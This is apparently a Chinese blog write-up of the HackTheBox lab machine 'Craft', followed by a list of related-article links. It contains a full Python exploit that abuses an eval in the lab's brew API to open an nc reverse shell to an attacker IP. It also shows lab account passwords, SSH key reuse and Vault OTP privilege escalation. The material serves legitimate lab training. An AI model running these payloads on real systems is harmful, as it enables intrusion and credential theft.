HackTheBox –Craft

ip:http://10.10.10.110/


信息搜集

端口扫描:使用nmap扫描发现开了22(ssh)端口和443(http/ssl)

版本可从web网页上获取:
Web 服务器
Nginx1.15.8
Reverse Proxy
Nginx1.15.8

首先访问页面,访问该链接http://10.10.10.110/看到是一片空白,试了一下使用https来进行访问,访问成功!

访问页面查看右上角的图标发现他有域名,所以使用hosts文件来进行绑定:

从上面图片发现他跟我们说查看我们的API! 这里先进行查看https://api.craft.htb/api/

在这块发现一个登陆页面

返回刚刚首页,点击右上角图标时他会跳转到https://gogs.craft.htb/这个页面,经过多次查看发现点击左上角的发现会跳转到一个仓库仔细看的话是api源码

进行下载,代码分析一下

果然,在test.py文件中,我们知道api页面需要首先进行auth/login(用户名密码未知),然后才能使用brew接口。没找到什么敏感信息,之后就来审计一下接口文件,经过找了好长时间终于发现brew.py中有个eval,现在知道这块有命令执行需要调用os.system

因为当时我是在bp里面拦截https://api.craft.htb/api/提交参数的方式进行利用的 中途因为没有token的凭证绕了好长时间 最后是在上面所说的登陆页面获取的(经过多次提交发现他的token是随机的)
在这里有用户提交点开add.test之后发现用户和密码。


dinesh 账户 4aUh0A8PbVJxgd 密码
登陆成功之后发现是一串随机token

通过几种方式都不成功,终于最后写了python脚本代码如下:

!/usr/bin/env pythonimport requests
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)IP = "10.10.16.9"
PORT = "4444"print("[] Requesting a token")
response = requests.get("https://api.craft.htb/api/auth/login", auth=("dinesh", "4aUh0A8PbVJxgd"), verify=False)
json_response = json.loads(response.text)
token = json_response["token"]
print("[] Token: " + token)print("[] Validatting authorization")
headers = { "X-Craft-API-Token": token, "Content-Type": "application/json" }
response = requests.get("https://api.craft.htb/api/auth/check", headers=headers, verify=False)
print("[] Response: " + response.json()["message"])print("[*] Connecting a reverse shell at " + IP + ":" + PORT)
brew_dict = {}
brew_dict["abv"] = "import('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f')" % (IP, PORT)
brew_dict["name"] = "bullshit"
brew_dict["brewer"] = "bullshit"
brew_dict["style"] = "bullshit"
json_data = json.dumps(brew_dict)
response = requests.post("https://api.craft.htb/api/brew/", headers=headers, data=json_data, verify=False)print("[?] Did you turn on netcat listener at " + IP + ":" + PORT + "?")

python -c 'import pty;pty.spawn("/bin/sh")'

成功得到shell,但是id直接是root用户,之后才发现原来是docker用户,接着我查看settings.py,有一个数据库凭据,直接修改了他的sql语句,有四个用户

如下:

[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
gilfoyle      ZEU3N8WNM2rh4T
dinesh       4aUh0A8PbVJxgd
ebachman     llJ77D8QFkLPQB

现在继续进行信息搜集,在刚刚https://gogs.craft.htb/界面有一个登陆,输入刚刚获取到的用户和密码一个一个进行搜集发现在gilfoyle 用户里面的私人项目里有.ssh 所以当然是直接用id_rsa 进行ssh登陆,如图:
ssh -i id_rsa gilfoyle@10.10.10.110

已登录!!!!

进行提权:
用上面的方法我给他下载了脚本进行执行得出他的内核和发行版本的详细信息 用户信息 服务等信息…
scp -i id_rsa -r /Users/ice/Downloads/LinEnum-master/LinEnum.sh gilfoyle@10.10.10.110:/tmp

执行完之后我是在https://www.exploit-db.com/上面搜索的版本号结果不友好

在刚刚下载的项目中查看发现vault查看官方文档https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html最后终于使用vault来进行提权,会返回给我们otp 直接登录
(vault是一种用于在现代应用程序体系结构中安全地管理机密信息的流行工具,很方便而且安全的一款工具)

不定时更新

HackTheBox –Craft实战相关推荐

  1. Hackthebox - Previse 靶场实战

    Hackthebox - Previse 靶场实战 靶场信息 靶场类型 信息搜集 使用nmap进行端口扫描 ┌──(root

  2. 实战HackTheBox里的Heist

    首要是运行Nmap来查找主机上正在运行的服务. # Nmap 7.70 scan initiated Wed Aug 14 21:08:24 2019 as: nmap -A -p- -oN scan ...

  3. sqlmap md5怎么解密_三十九,hackthebox渗透之DirBuster扫描路径及Sqlmap

    一.DirBuster扫描目录 hack the box是一个在线Web渗透实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有.因为这些靶机放在平台上供大 ...

  4. 【Keras+计算机视觉+Tensorflow】OCR文字识别实战(附源码和数据集 超详细必看)

    需要源码和数据集请点赞关注收藏后评论区留言私信~~~ 一.OCR文字识别简介 利用计算机自动识别字符的技术,是模式识别应用的一个重要领域.人们在生产和生活中,要处理大量的文字.报表和文本.为了减轻人们 ...

  5. 实战 webpack 4 配置解析四

    接上篇: 实战 webpack 4 配置解析三 WEBPACK.PROD.JS 解析 现在让我们看看我们的 webpack.prod.js 配置文件,它包含了我们正在处理项目时用于生产构建的所有设置. ...

  6. 手把手教你如何在Facebook上找客户——实战分享

    Facebook用户很多很多,浩浩荡荡30亿,找到客户却很难.为什么,运营技巧很重要.这不,傲途的Facebook实战运营干货来了,手把手教你从FB上高效拓客引流. 01 从Facebook如何高效引 ...

  7. Flutter开发实战 高仿微信(二)发现页

    Flutter开发实战 高仿微信(二)发现页 Flutter开发实战 高仿微信(二)发现页 1.1 微信发现页面简述 1.2 APP框架优化 1.2.1 配置APP Logo和启动图片 1.2.2 配 ...

  8. AI实战:2019、2020最新的中文文本检测检测模型

    2019.2020最新的中文文本检测检测模型 1.DBNet(Real-time Scene Text Detection with Differentiable Binarization) 论文地址 ...

  9. IDEA的Docker插件实战(Dockerfile篇)

    IDEA的Docker插件实战(Dockerfile篇) IntelliJ IDEA的Docker插件能帮助我们将当前工程制作成Docker镜像.运行在指定的远程机器上,是学习和开发阶段的好帮手,本文 ...

最新文章

  1. Python文件修改的两种方式
  2. tensorboard 使用教程
  3. Apache Payara:让我们加密
  4. DIY 主机 所有AMD IntelCPU及主板
  5. 加密软件漏洞评测系统_苹果向用户推送macOS Big Sur 11.0.1正式版系统_华强北软件网_软件行情_软件新闻_软件评测_手机应用文章...
  6. ajax和json的综合应用
  7. android 判断service是否开启
  8. MyBatis集合Spring(二)之SqlSession
  9. 入坑AI一路过来走过的弯路和思考
  10. PreScan、Carsim、Carmaker和VTD联合仿真
  11. Linux文件压缩解压命令
  12. 设计模式之----依赖倒置(Dependency inversion principle)的理解
  13. 《希尔斯亲密育儿百科》读书笔记
  14. pppd详解_Linux 使用pppd和ppp程序进行3G/4G拨号
  15. JFrame添加图片以及使用的教程
  16. 易诚互动在创业板更新招股书:上半年出现亏损,极其依赖阿里云
  17. 西工大-网安学院-2021复试-面试题目
  18. 一些笔记本电脑的推荐
  19. kaldi 源码分析(五) - 开发环境
  20. ps命令查看进程状态

热门文章

  1. 一周消息树:推低端iPhone,将会是苹果必然之举
  2. qt 绘图工具(一)
  3. 批量手机号归属地查询
  4. 计算机英语情景对话二人组,英语情景对话要求两人的对话 时间5分钟左右 内容是在校园两个好朋友谈论...
  5. 【论文翻译】Cluster Contrast for Unsupervised Person Re-Identification(2021)
  6. 如何解锁CourseHero文档
  7. Android Studio不使用数据线调试adb
  8. 无线路由器连接有线路由器实现同网段无线上网---第二种
  9. 数据传输加密——非对称加密算法RSA+对称算法AES(适用于java,android和Web)
  10. 服务器物理内存如何卸载,win7电脑物理内存过高怎么清理